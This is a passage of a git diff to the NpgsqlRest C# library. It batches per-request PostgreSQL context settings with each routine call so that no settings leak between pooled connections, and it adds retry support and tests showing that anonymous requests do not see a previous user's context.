depth--; + i += 2; + } + else + { + i++; + } + } + if (depth > 0) + { + return false; + } + span = span[i..]; + } + else + { + break; + } + } + var length = 0; + while (length < span.Length && char.IsAsciiLetter(span[length])) + { + length++; + } + if (length == 0 || (length < span.Length && (char.IsAsciiDigit(span[length]) || span[length] is '_' or '$' or '.'))) + { + // not a keyword: an identifier such as select_all, or something else entirely + return false; + } + var word = span[..length]; + foreach (var keyword in QueryKeywords) + { + if (word.Equals(keyword, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + /// + /// The batch that sets and then runs the routine of , + /// with text results. Takes the command's text and timeout, and its parameters: a parameter belongs to one command + /// at a time, so they move from the command to the batch. + /// + public static NpgsqlBatch Create(NpgsqlConnection connection, NpgsqlCommand routineCommand, ReadOnlySpan<(string Key, object? Value)> context) + { + var batch = new NpgsqlBatch(connection) + { + Timeout = routineCommand.CommandTimeout + }; + SetAllResultTypesAreUnknown(batch, true); + + var contextCommand = new NpgsqlBatchCommand(ContextStatement(context.Length)); + var contextParameters = contextCommand.Parameters; + foreach (var (key, value) in context) + { + contextParameters.Add(NpgsqlRestParameter.CreateTextParam(key)); + contextParameters.Add(NpgsqlRestParameter.CreateTextParam(value)); + } + batch.BatchCommands.Add(contextCommand); + + var routineBatchCommand = new NpgsqlBatchCommand(routineCommand.CommandText); + var source = routineCommand.Parameters; + var count = source.Count; + if (count > 0) + { + var moved = ArrayPool.Shared.Rent(count); + source.CopyTo(moved, 0); + source.Clear(); + var target = routineBatchCommand.Parameters; + for (var i = 0; i < count; i++) + { + target.Add(moved[i]); + } + ArrayPool.Shared.Return(moved, clearArray: true); + } + batch.BatchCommands.Add(routineBatchCommand); + return batch; + } + + private static readonly string?[] ContextStatements = new string?[17]; + + /// The statement that sets settings from the parameters $1,$2 ... (name, value). + internal static string ContextStatement(int count) + { + if (count < ContextStatements.Length) + { + return ContextStatements[count] ??= BuildContextStatement(count); + } + return BuildContextStatement(count); + } + + private static string BuildContextStatement(int count) + { + var sb = new StringBuilder("select ", 8 + count * 36); + for (var i = 0; i < count; i++) + { + if (i > 0) + { + sb.Append(','); + } + sb.Append("set_config($").Append(i * 2 + 1).Append(",$").Append(i * 2 + 2).Append(",true) is null"); + } + return sb.ToString(); + } +} diff --git a/NpgsqlRest/Retries/NpgsqlCommandRetry.cs b/NpgsqlRest/Retries/NpgsqlCommandRetry.cs index c9e260df..eddef80c 100644 --- a/NpgsqlRest/Retries/NpgsqlCommandRetry.cs +++ b/NpgsqlRest/Retries/NpgsqlCommandRetry.cs @@ -65,7 +65,7 @@ public static Task ExecuteNonQueryWithRetryAsync( { return command.ExecuteNonQueryAsync(cancellationToken); } - return ExecuteNonQueryRetryLoopAsync(command, strategy, cancellationToken, logger, errorCodePolicy, firstFailure: null); + return ExecuteNonQueryRetryLoopAsync(command, null, strategy, cancellationToken, logger, errorCodePolicy, firstFailure: null); } /// @@ -73,16 +73,22 @@ public static Task ExecuteNonQueryWithRetryAsync( /// continues after that attempt failed, handling the failure exactly as the retrying method handles one - error /// code mapping, timeout mapping, retries with their delays, logging. /// + /// + /// contextBatch: when the request context is sent with the routine (see RequestContextBatch), the batch that the + /// first attempt executed, and that the next attempts execute, in place of the command. + /// internal static Task ExecuteNonQueryAfterFailureAsync( this NpgsqlCommand command, Exception firstFailure, RetryStrategy strategy, CancellationToken cancellationToken, - string? errorCodePolicy) - => ExecuteNonQueryRetryLoopAsync(command, strategy, cancellationToken, null, errorCodePolicy, firstFailure); + string? errorCodePolicy, + NpgsqlBatch? contextBatch = null) + => ExecuteNonQueryRetryLoopAsync(command, contextBatch, strategy, cancellationToken, null, errorCodePolicy, firstFailure); private static async Task ExecuteNonQueryRetryLoopAsync( NpgsqlCommand command, + NpgsqlBatch? contextBatch, RetryStrategy strategy, CancellationToken cancellationToken, ILogger? logger, @@ -101,7 +107,9 @@ private static async Task ExecuteNonQueryRetryLoopAsync( // The caller already made this attempt: its failure goes through the handlers below. System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw(firstFailure); } - return await command.ExecuteNonQueryAsync(cancellationToken); + return contextBatch is null + ? await command.ExecuteNonQueryAsync(cancellationToken) + : await contextBatch.ExecuteNonQueryAsync(cancellationToken); } catch (PostgresException ex) when (errorCodePolicy is not null && errorCodePolicy.TryGetErrorCodeMapping(ex.SqlState, out var statusCodeMapping)) { @@ -270,7 +278,32 @@ public static Task ExecuteReaderWithRetryAsync( { return command.ExecuteReaderAsync(behavior, cancellationToken); } - return ExecuteReaderRetryLoopAsync(command, behavior, strategy, cancellationToken, logger, errorCodePolicy, firstFailure: null); + return ExecuteReaderRetryLoopAsync(command, null, behavior, strategy, cancellationToken, logger, errorCodePolicy, firstFailure: null); + } + + /// + /// Executes a routine and returns the reader on the routine's result: through when + /// the request context is sent with the routine (see RequestContextBatch), otherwise through the command. + /// + internal static async Task ExecuteRoutineReaderWithRetryAsync( + this NpgsqlCommand command, + NpgsqlBatch? contextBatch, + CommandBehavior behavior, + RetryStrategy? strategy, + CancellationToken cancellationToken, + string? errorCodePolicy) + { + if (strategy == null || strategy.RetrySequenceSeconds.Length == 0) + { + if (contextBatch is null) + { + return await command.ExecuteReaderAsync(behavior, cancellationToken); + } + var reader = await contextBatch.ExecuteReaderAsync(behavior, cancellationToken); + await SkipContextResultAsync(reader, cancellationToken); + return reader; + } + return await ExecuteReaderRetryLoopAsync(command, contextBatch, behavior, strategy, cancellationToken, null, errorCodePolicy, firstFailure: null); } /// @@ -278,17 +311,53 @@ public static Task ExecuteReaderWithRetryAsync( /// continues after that attempt failed, handling the failure exactly as the retrying method handles one - error /// code mapping, timeout mapping, retries with their delays, logging. /// + /// + /// contextBatch: when the request context is sent with the routine (see RequestContextBatch), the batch that the + /// first attempt executed, and that the next attempts execute, in place of the command. The reader is returned on + /// the routine's result. + /// internal static Task ExecuteReaderAfterFailureAsync( this NpgsqlCommand command, Exception firstFailure, CommandBehavior behavior, RetryStrategy strategy, CancellationToken cancellationToken, - string? errorCodePolicy) - => ExecuteReaderRetryLoopAsync(command, behavior, strategy, cancellationToken, null, errorCodePolicy, firstFailure); + string? errorCodePolicy, + NpgsqlBatch? contextBatch = null) + => ExecuteReaderRetryLoopAsync(command, contextBatch, behavior, strategy, cancellationToken, null, errorCodePolicy, firstFailure); + + /// + /// Moves the reader of a context batch (see RequestContextBatch) past the context statement's result, to the + /// routine's. This is where the routine's own errors arrive, so it is part of the attempt to execute the routine. + /// If it fails, the reader is closed - the batch can then be executed again, and the connection used - and the + /// failure is rethrown. + /// + internal static async ValueTask SkipContextResultAsync(NpgsqlDataReader reader, CancellationToken cancellationToken) + { + try + { + for (var i = 0; i < RequestContextBatch.LeadingResultSets; i++) + { + await reader.NextResultAsync(cancellationToken); + } + } + catch + { + try + { + await reader.DisposeAsync(); + } + catch + { + // the failure being reported is the one above + } + throw; + } + } private static async Task ExecuteReaderRetryLoopAsync( NpgsqlCommand command, + NpgsqlBatch? contextBatch, CommandBehavior behavior, RetryStrategy strategy, CancellationToken cancellationToken, @@ -313,7 +382,13 @@ private static async Task ExecuteReaderRetryLoopAsync( // The caller already made this attempt: its failure goes through the handlers below. System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw(firstFailure); } - return await command.ExecuteReaderAsync(behavior, cancellationToken); + if (contextBatch is null) + { + return await command.ExecuteReaderAsync(behavior, cancellationToken); + } + var reader = await contextBatch.ExecuteReaderAsync(behavior, cancellationToken); + await SkipContextResultAsync(reader, cancellationToken); + return reader; } catch (PostgresException ex) when (errorCodePolicy is not null && errorCodePolicy.TryGetErrorCodeMapping(ex.SqlState, out var statusCodeMapping)) { diff --git a/NpgsqlRest/RoutineEndpoint.cs b/NpgsqlRest/RoutineEndpoint.cs index 97d7dbeb..56aa93e1 100644 --- a/NpgsqlRest/RoutineEndpoint.cs +++ b/NpgsqlRest/RoutineEndpoint.cs @@ -115,6 +115,13 @@ public string? BodyParameterName public string[]? UploadHandlers { get; set; } = uploadHandlers; public Dictionary? CustomParameters { get; set; } = customParameters; public bool UserContext { get; set; } = userContext; + + /// + /// Set when the endpoints are built: true when this endpoint's request context is sent to PostgreSQL together + /// with its routine, local to that one batch (see ); false when it is set by a + /// separate batch before the routine, at session level. + /// + internal bool ContextInRoutineBatch { get; set; } public bool UseUserParameters { get; set; } = userParameters; public PostgresNoticeLevels? SseEventNoticeLevel { get; set; } = null; public string? SseEventsPath { get; set; } = sseEventsPath; diff --git a/NpgsqlRestClient/Program.cs b/NpgsqlRestClient/Program.cs index a178cfb8..b7032886 100644 --- a/NpgsqlRestClient/Program.cs +++ b/NpgsqlRestClient/Program.cs @@ -640,11 +640,13 @@ UseNpgsqlRestAndPickDataSources(); // Builds the endpoints, then picks the data sources requests run on. Connections are reset between requests only -// when a request can leave session-level settings on them: an endpoint with user_context or request_headers context, -// an upload metadata context key, or BeforeRoutineCommands - and no WrapInTransaction, which makes all of them local -// to the request's transaction. UseNpgsqlRest works that out from the endpoints it builds -// (options.ConnectionResetRequired). Without such endpoints nothing can leak, and skipping the reset saves -// PostgreSQL work on every request. A connection string that sets "No Reset On Close" itself is not affected. +// when a request can leave session-level settings on them: user_context or request_headers context on an endpoint +// that cannot send its context together with the routine (a procedure, an upload, login or logout endpoint, a SQL +// file that is not a single query or data change), an upload metadata context key, or BeforeRoutineCommands - and no +// WrapInTransaction, which makes all of them local to the request's transaction. UseNpgsqlRest works that out from +// the endpoints it builds (options.ConnectionResetRequired). Without such endpoints nothing can leak, and skipping +// the reset saves PostgreSQL work on every request. A connection string that sets "No Reset On Close" itself is not +// affected. void UseNpgsqlRestAndPickDataSources() { // Discovery, and the library's "No Reset On Close" warning, use the data sources as configured. @@ -665,7 +667,7 @@ void UseNpgsqlRestAndPickDataSources() } else if (options.ConnectionResetRequired) { - builder.ClientLogger?.LogDebug("Connections are reset between requests: endpoints leave session-level settings on them (user_context, request_headers context, upload metadata context or BeforeRoutineCommands, without WrapInTransaction)."); + builder.ClientLogger?.LogDebug("Connections are reset between requests: endpoints leave session-level settings on them (user_context or request_headers context on a procedure, upload, login or logout endpoint or a multi-statement SQL file, an upload metadata context key, or BeforeRoutineCommands - without WrapInTransaction)."); } else { diff --git a/NpgsqlRestTests/AuthTests/UserContextLeakTests.cs b/NpgsqlRestTests/AuthTests/UserContextLeakTests.cs index c78327a3..6ed028e7 100644 --- a/NpgsqlRestTests/AuthTests/UserContextLeakTests.cs +++ b/NpgsqlRestTests/AuthTests/UserContextLeakTests.cs @@ -19,6 +19,24 @@ comment on function ucl_get_context() is ' HTTP GET user_context '; + + -- A procedure can commit, so its context is not sent with it as local settings (which a commit would end): + -- it is set at session level, by a separate batch before the procedure runs. + create table ucl_log (tag text primary key, context text); + create procedure ucl_proc_context(_tag text) + language plpgsql as $$ + begin + insert into ucl_log values (_tag, ucl_get_context()); + commit; + insert into ucl_log values (_tag || ' after commit', ucl_get_context()); + end $$; + comment on procedure ucl_proc_context(text) is ' + HTTP POST + user_context + '; + + create function ucl_log_get(_tag text) returns text language sql as $$ select context from ucl_log where tag = _tag $$; + comment on function ucl_log_get(text) is 'HTTP GET'; """); } } @@ -57,4 +75,52 @@ public async Task Anonymous_request_does_not_inherit_previous_users_context() (await response.Content.ReadAsStringAsync()).Should().Be("||"); } } + + private static async Task CallProcedureAsync(HttpClient client, string tag) + { + using var body = new StringContent("{\"tag\":\"" + tag + "\"}", Encoding.UTF8, "application/json"); + using var response = await client.PostAsync("/api/ucl-proc-context", body); + response.StatusCode.Should().Be(HttpStatusCode.NoContent, await response.Content.ReadAsStringAsync()); + } + + private static async Task LoggedContextAsync(HttpClient client, string tag) + { + using var response = await client.GetAsync("/api/ucl-log-get?tag=" + Uri.EscapeDataString(tag)); + response.StatusCode.Should().Be(HttpStatusCode.OK); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// Procedures keep the session-level context (set by a separate batch before the procedure): it has to survive + /// the procedure's own commits. The same guarantee applies there - an anonymous request sets every key to NULL. + /// + [Fact] + public async Task Procedure_context_survives_its_commit_and_anonymous_request_does_not_inherit_it() + { + using var userHandler = new HttpClientHandler { UseCookies = true, CookieContainer = new CookieContainer() }; + using var user = new HttpClient(userHandler) { BaseAddress = new Uri(test.ServerAddress) }; + using var anonymous = new HttpClient { BaseAddress = new Uri(test.ServerAddress) }; + + using (var login = await user.GetAsync("/ucl-login")) + { + login.StatusCode.Should().Be(HttpStatusCode.OK); + } + + await CallProcedureAsync(user, "user"); + (await LoggedContextAsync(anonymous, "user")).Should().Be("123|admin|{\"user_id\":\"123\",\"user_name\":\"admin\"}"); + (await LoggedContextAsync(anonymous, "user after commit")).Should().Be("123|admin|{\"user_id\":\"123\",\"user_name\":\"admin\"}"); + + // The user's settings are still on the only (never reset) connection. A function's context is sent with the + // function, local to that batch, and overrides them: the anonymous request does not see the user. + using (var response = await anonymous.GetAsync("/api/ucl-get-context")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("||"); + } + + // and an anonymous call of the procedure overwrites them at session level + await CallProcedureAsync(anonymous, "anonymous"); + (await LoggedContextAsync(anonymous, "anonymous")).Should().Be("||"); + (await LoggedContextAsync(anonymous, "anonymous after commit")).Should().Be("||"); + } } diff --git a/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs index 2a309e56..95f92ef9 100644 --- a/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs +++ b/NpgsqlRestTests/ConnectionTests/ConnectionResetRequiredTests.cs @@ -18,6 +18,14 @@ comment on function crr_user_context() is 'HTTP GET create function crr_headers_context() returns text language sql stable as $$ select current_setting('request.headers', true) $$; comment on function crr_headers_context() is 'HTTP GET request_headers context'; + + create procedure crr_proc_user_context() language plpgsql as $$ begin perform current_setting('request.user_id', true); end $$; + comment on procedure crr_proc_user_context() is 'HTTP POST + user_context'; + + create function crr_bytes_user_context() returns bytea language sql stable as $$ select convert_to(current_setting('request.user_id', true), 'utf8') $$; + comment on function crr_bytes_user_context() is 'HTTP GET + user_context'; """); } } @@ -26,6 +34,11 @@ comment on function crr_headers_context() is 'HTTP GET /// NpgsqlRestOptions.ConnectionResetRequired tells the host whether a request can leave session-level settings on its /// connection - that is, whether pooled connections have to be reset between requests. UseNpgsqlRest sets it from /// the endpoints it builds. +/// +/// The request context of functions, tables, views and single-statement SQL files is sent together with the routine, +/// as settings local to that one batch (RequestContextBatch), so it leaves nothing behind. What still does: the +/// context of procedures and of the few other endpoints that cannot use the batch, BeforeRoutineCommands, and uploads +/// with a metadata context key. /// public class ConnectionResetRequiredTests { @@ -43,7 +56,20 @@ private static async Task BuildAsync(string nameSimilarTo, Ac RequiresAuthorization = false, }; configure?.Invoke(options); - app.UseNpgsqlRest(options); + + // UseNpgsqlRest makes its options and logger the current ones for the process. These apps never serve a + // request, so the ones of the app that does are put back. + var currentOptions = NpgsqlRestOptions.Options; + var currentLogger = NpgsqlRestOptions.Logger; + try + { + app.UseNpgsqlRest(options); + } + finally + { + NpgsqlRestOptions.Options = currentOptions; + NpgsqlRestOptions.Logger = currentLogger; + } return options; } @@ -54,15 +80,37 @@ public async Task Not_required_when_no_endpoint_sets_a_context() } [Fact] - public async Task Required_when_an_endpoint_uses_user_context() + public async Task Not_required_when_user_context_is_sent_with_the_function() + { + (await BuildAsync("crr[_](plain|user[_]context)")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Not_required_when_request_headers_context_is_sent_with_the_function() + { + (await BuildAsync("crr[_](plain|headers[_]context)")).ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Required_when_a_procedure_uses_user_context() { - (await BuildAsync("crr[_](plain|user[_]context)")).ConnectionResetRequired.Should().BeTrue(); + // a procedure can commit, which would end local settings: its context stays at session level + (await BuildAsync("crr[_](plain|user[_]context|proc[_]user[_]context)")).ConnectionResetRequired.Should().BeTrue(); } [Fact] - public async Task Required_when_an_endpoint_uses_request_headers_context() + public async Task Required_when_a_function_returning_bytea_uses_user_context() { - (await BuildAsync("crr[_](plain|headers[_]context)")).ConnectionResetRequired.Should().BeTrue(); + // read as binary, which a batch with text results cannot do: its context stays at session level + (await BuildAsync("crr[_](plain|bytes[_]user[_]context)")).ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Required_when_a_command_callback_is_set_and_an_endpoint_uses_user_context() + { + // the callback works with the routine's command and may run it itself: the context is set before it + (await BuildAsync("crr[_](plain|user[_]context)", o => o.CommandCallbackAsync = (_, _, _) => Task.CompletedTask)) + .ConnectionResetRequired.Should().BeTrue(); } [Fact] @@ -75,7 +123,7 @@ public async Task Required_when_before_routine_commands_are_configured() [Fact] public async Task Not_required_with_WrapInTransaction_because_settings_are_local_to_the_transaction() { - (await BuildAsync("crr[_](plain|user[_]context|headers[_]context)", o => + (await BuildAsync("crr[_](plain|user[_]context|headers[_]context|proc[_]user[_]context)", o => { o.WrapInTransaction = true; o.BeforeRoutineCommands = ["select set_config('app.tenant', 'x', true)"]; @@ -85,7 +133,7 @@ public async Task Not_required_with_WrapInTransaction_because_settings_are_local [Fact] public async Task Not_required_when_user_context_has_no_context_keys_to_set() { - (await BuildAsync("crr[_](plain|user[_]context)", o => + (await BuildAsync("crr[_](plain|user[_]context|proc[_]user[_]context)", o => { o.AuthenticationOptions.IpAddressContextKey = null; o.AuthenticationOptions.ClaimsJsonContextKey = null; diff --git a/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs b/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs new file mode 100644 index 00000000..bdfd265f --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/RequestContextBatchTests.cs @@ -0,0 +1,303 @@ +using System.Net; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void RequestContextBatchTests() + { + script.Append(""" + -- What is set on the connection right now, without setting anything: "" for a setting that is not set. + create function rcb_peek() returns text language sql as $$ + select + coalesce(nullif(current_setting('request.user_id', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.user_name', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.ip_address', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.headers', true), ''), '') + $$; + comment on function rcb_peek() is 'HTTP GET'; + + create function rcb_scalar(_p text) returns text language sql as $$ + select _p || ':' || + coalesce(nullif(current_setting('request.user_id', true), ''), '') || '|' || + coalesce(nullif(current_setting('request.user_name', true), ''), '') || '|' || + (nullif(current_setting('request.ip_address', true), '') is not null)::text + $$; + comment on function rcb_scalar(text) is 'HTTP GET + user_context'; + + create function rcb_rows(_n int) returns table (n int, user_id text, flag boolean, amount numeric, at timestamp, tags text[], doc json, code char(4)) + language sql as $$ + select i, current_setting('request.user_id', true), i % 2 = 0, i * 1.5, timestamp '2026-01-02 03:04:05' + make_interval(days => i), + array['a', 'b ' || i], json_build_object('i', i), 'x'::char(4) + from generate_series(1, _n) i + $$; + comment on function rcb_rows(int) is 'HTTP GET + user_context'; + + -- the same rows without the request context: rendering must not depend on how the routine is sent + create function rcb_rows_plain(_n int) returns table (n int, user_id text, flag boolean, amount numeric, at timestamp, tags text[], doc json, code char(4)) + language sql as $$ + select i, '123'::text, i % 2 = 0, i * 1.5, timestamp '2026-01-02 03:04:05' + make_interval(days => i), + array['a', 'b ' || i], json_build_object('i', i), 'x'::char(4) + from generate_series(1, _n) i + $$; + comment on function rcb_rows_plain(int) is 'HTTP GET'; + + create table rcb_log (v text primary key, user_id text); + create function rcb_void(_v text) returns void language sql as $$ + insert into rcb_log values (_v, current_setting('request.user_id', true)) + $$; + comment on function rcb_void(text) is 'HTTP POST + user_context'; + create function rcb_log_get(_v text) returns text language sql as $$ select user_id from rcb_log where v = _v $$; + comment on function rcb_log_get(text) is 'HTTP GET'; + + create function rcb_headers() returns text language sql as $$ + select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-rcb-test' + $$; + comment on function rcb_headers() is 'HTTP GET + request_headers context'; + + create function rcb_both() returns text language sql as $$ + select current_setting('request.user_id', true) || '|' || + (select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-rcb-test') + $$; + comment on function rcb_both() is 'HTTP GET + user_context + request_headers context'; + + create function rcb_fail() returns text language plpgsql as $$ + begin + raise exception 'failed for %', current_setting('request.user_id', true); + end $$; + comment on function rcb_fail() is 'HTTP GET + user_context'; + + -- Each counts its attempts in a sequence (sequences are not rolled back) and fails the first one with a + -- retryable error (40001, serialization_failure). The default retry strategy retries at once. + create sequence rcb_retry_scalar_seq; + create function rcb_retry_scalar() returns text language plpgsql as $$ + begin + if nextval('rcb_retry_scalar_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return 'attempt ' || currval('rcb_retry_scalar_seq') || ' for ' || current_setting('request.user_id', true); + end $$; + comment on function rcb_retry_scalar() is 'HTTP GET + user_context'; + + create sequence rcb_retry_rows_seq; + create function rcb_retry_rows() returns table (attempt bigint, user_id text) language plpgsql as $$ + begin + if nextval('rcb_retry_rows_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + return query select currval('rcb_retry_rows_seq'), current_setting('request.user_id', true); + end $$; + comment on function rcb_retry_rows() is 'HTTP GET + user_context'; + + create sequence rcb_retry_void_seq; + create function rcb_retry_void() returns void language plpgsql as $$ + begin + if nextval('rcb_retry_void_seq') = 1 then + raise exception 'could not serialize' using errcode = '40001'; + end if; + insert into rcb_log values ('retry-void attempt ' || currval('rcb_retry_void_seq'), current_setting('request.user_id', true)); + end $$; + comment on function rcb_retry_void() is 'HTTP POST + user_context'; + + create sequence rcb_cached_seq; + create function rcb_cached(_key text) returns text language sql as $$ + select _key || ':' || current_setting('request.user_id', true) || ':' || nextval('rcb_cached_seq') + $$; + comment on function rcb_cached(text) is 'HTTP GET + user_context + cached _key'; + + """); + } +} + +/// +/// The request context (user_context, request_headers context) of functions is sent to PostgreSQL together with the +/// routine, in one round trip, as settings that are local to that one batch. The routine sees them, and nothing stays +/// on the connection - which these tests can observe because the fixture's only connection is never reset. +/// +[Collection("RequestContextBatchTestFixture")] +public class RequestContextBatchTests(RequestContextBatchTestFixture test) +{ + private const string NothingSet = "|||"; + + private static async Task GetAsync(HttpClient client, string url, HttpStatusCode expected = HttpStatusCode.OK) + { + using var response = await client.GetAsync(url); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(expected, content); + return content; + } + + [Fact] + public async Task Scalar_sees_the_context_and_nothing_stays_on_the_connection() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-scalar/?p=a")).Should().Be("a:123|admin|true"); + // the same PostgreSQL session, not reset in between + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Anonymous_request_gets_the_ip_address_and_no_user() + { + using var user = await test.LoggedInClientAsync(); + using var anonymous = test.AnonymousClient(); + + (await GetAsync(user, "/api/rcb-scalar/?p=b")).Should().Be("b:123|admin|true"); + (await GetAsync(anonymous, "/api/rcb-scalar/?p=c")).Should().Be("c:||true"); + (await GetAsync(anonymous, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Rows_see_the_context_and_render_exactly_as_without_it() + { + using var user = await test.LoggedInClientAsync(); + + var expected = + "[{\"n\":1,\"userId\":\"123\",\"flag\":false,\"amount\":1.5,\"at\":\"2026-01-03T03:04:05\",\"tags\":[\"a\",\"b 1\"],\"doc\":{\"i\" : 1},\"code\":\"x \"}," + + "{\"n\":2,\"userId\":\"123\",\"flag\":true,\"amount\":3.0,\"at\":\"2026-01-04T03:04:05\",\"tags\":[\"a\",\"b 2\"],\"doc\":{\"i\" : 2},\"code\":\"x \"}]"; + (await GetAsync(user, "/api/rcb-rows/?n=2")).Should().Be(expected); + (await GetAsync(user, "/api/rcb-rows-plain/?n=2")).Should().Be(expected); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Many_rows_are_complete() + { + using var user = await test.LoggedInClientAsync(); + + var withContext = await GetAsync(user, "/api/rcb-rows/?n=3000"); + var plain = await GetAsync(user, "/api/rcb-rows-plain/?n=3000"); + withContext.Should().Be(plain); + withContext.Should().StartWith("[{\"n\":1,\"userId\":\"123\","); + withContext.Should().EndWith("{\"n\":3000,\"userId\":\"123\",\"flag\":true,\"amount\":4500.0,\"at\":\"2034-03-21T03:04:05\",\"tags\":[\"a\",\"b 3000\"],\"doc\":{\"i\" : 3000},\"code\":\"x \"}]"); + } + + [Fact] + public async Task Void_routine_sees_the_context() + { + using var user = await test.LoggedInClientAsync(); + + using (var body = new StringContent("{\"v\":\"void-1\"}", Encoding.UTF8, "application/json")) + using (var response = await user.PostAsync("/api/rcb-void/", body)) + { + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + } + (await GetAsync(user, "/api/rcb-log-get/?v=void-1")).Should().Be("123"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Request_headers_context_is_sent_with_the_routine() + { + using var client = test.AnonymousClient(); + client.DefaultRequestHeaders.Add("X-Rcb-Test", "header value"); + + (await GetAsync(client, "/api/rcb-headers/")).Should().Be("header value"); + (await GetAsync(client, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task User_context_and_request_headers_context_together() + { + using var user = await test.LoggedInClientAsync(); + user.DefaultRequestHeaders.Add("X-Rcb-Test", "both"); + + (await GetAsync(user, "/api/rcb-both/")).Should().Be("123|both"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Failing_routine_reports_its_error_and_the_connection_stays_usable() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-fail/", HttpStatusCode.BadRequest)) + .Should().Be("{\"type\":\"https://tools.ietf.org/html/rfc9110#section-15.5.1\",\"title\":\"failed for 123\",\"status\":400,\"detail\":\"P0001\"}"); + // the only connection: still usable, and clean + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + (await GetAsync(user, "/api/rcb-scalar/?p=after")).Should().Be("after:123|admin|true"); + } + + [Fact] + public async Task Scalar_is_retried_with_its_context() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-retry-scalar/")).Should().Be("attempt 2 for 123"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Rows_are_retried_with_their_context() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-retry-rows/")).Should().Be("[{\"attempt\":2,\"userId\":\"123\"}]"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Void_routine_is_retried_with_its_context() + { + using var user = await test.LoggedInClientAsync(); + + using (var response = await user.PostAsync("/api/rcb-retry-void/", null)) + { + response.StatusCode.Should().Be(HttpStatusCode.NoContent); + } + // the first attempt was rolled back as a whole; the second one wrote the row + (await GetAsync(user, "/api/rcb-log-get/?v=retry-void attempt 2")).Should().Be("123"); + (await GetAsync(user, "/api/rcb-log-get/?v=retry-void attempt 1")).Should().Be(""); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Cached_value_is_computed_with_the_context_once() + { + using var user = await test.LoggedInClientAsync(); + + (await GetAsync(user, "/api/rcb-cached/?key=k")).Should().Be("k:123:1"); + // from the cache: the routine did not run again + (await GetAsync(user, "/api/rcb-cached/?key=k")).Should().Be("k:123:1"); + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public async Task Concurrent_requests_each_see_their_own_context() + { + using var user = await test.LoggedInClientAsync(); + using var anonymous = test.AnonymousClient(); + + var tasks = new List>(); + for (var i = 0; i < 40; i++) + { + tasks.Add(GetAsync(i % 2 == 0 ? user : anonymous, "/api/rcb-scalar/?p=" + i)); + } + var results = await Task.WhenAll(tasks); + for (var i = 0; i < results.Length; i++) + { + results[i].Should().Be(i % 2 == 0 ? $"{i}:123|admin|true" : $"{i}:||true"); + } + (await GetAsync(user, "/api/rcb-peek/")).Should().Be(NothingSet); + } + + [Fact] + public void No_endpoint_here_requires_the_connection_reset() + { + // every endpoint of this fixture sends its context with the routine, so nothing can stay on a connection + test.Options.ConnectionResetRequired.Should().BeFalse(); + } +} diff --git a/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs b/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs new file mode 100644 index 00000000..1a7237f4 --- /dev/null +++ b/NpgsqlRestTests/ConnectionTests/RequestContextBatchUnitTests.cs @@ -0,0 +1,133 @@ +using Npgsql; +using NpgsqlTypes; + +namespace NpgsqlRestTests.ConnectionTests; + +/// +/// The parts of RequestContextBatch that need no database: whether Npgsql supports it, the context statement, which +/// SQL-file statements qualify, and how the batch is put together. +/// +public class RequestContextBatchUnitTests +{ + /// + /// Text results for a batch come from a member of Npgsql that is not in its public API. If an Npgsql upgrade + /// removes or renames it, NpgsqlRest keeps working - the context goes back to a separate round trip - but this + /// test fails, so the loss is noticed. + /// + [Fact] + public void This_Npgsql_returns_text_results_for_a_batch() + { + RequestContextBatch.IsSupported.Should().BeTrue(); + } + + [Theory] + [InlineData(1, "select set_config($1,$2,true) is null")] + [InlineData(2, "select set_config($1,$2,true) is null,set_config($3,$4,true) is null")] + [InlineData(4, "select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null")] + public void Context_statement_sets_every_key_from_parameters(int count, string expected) + { + RequestContextBatch.ContextStatement(count).Should().Be(expected); + // cached per count + 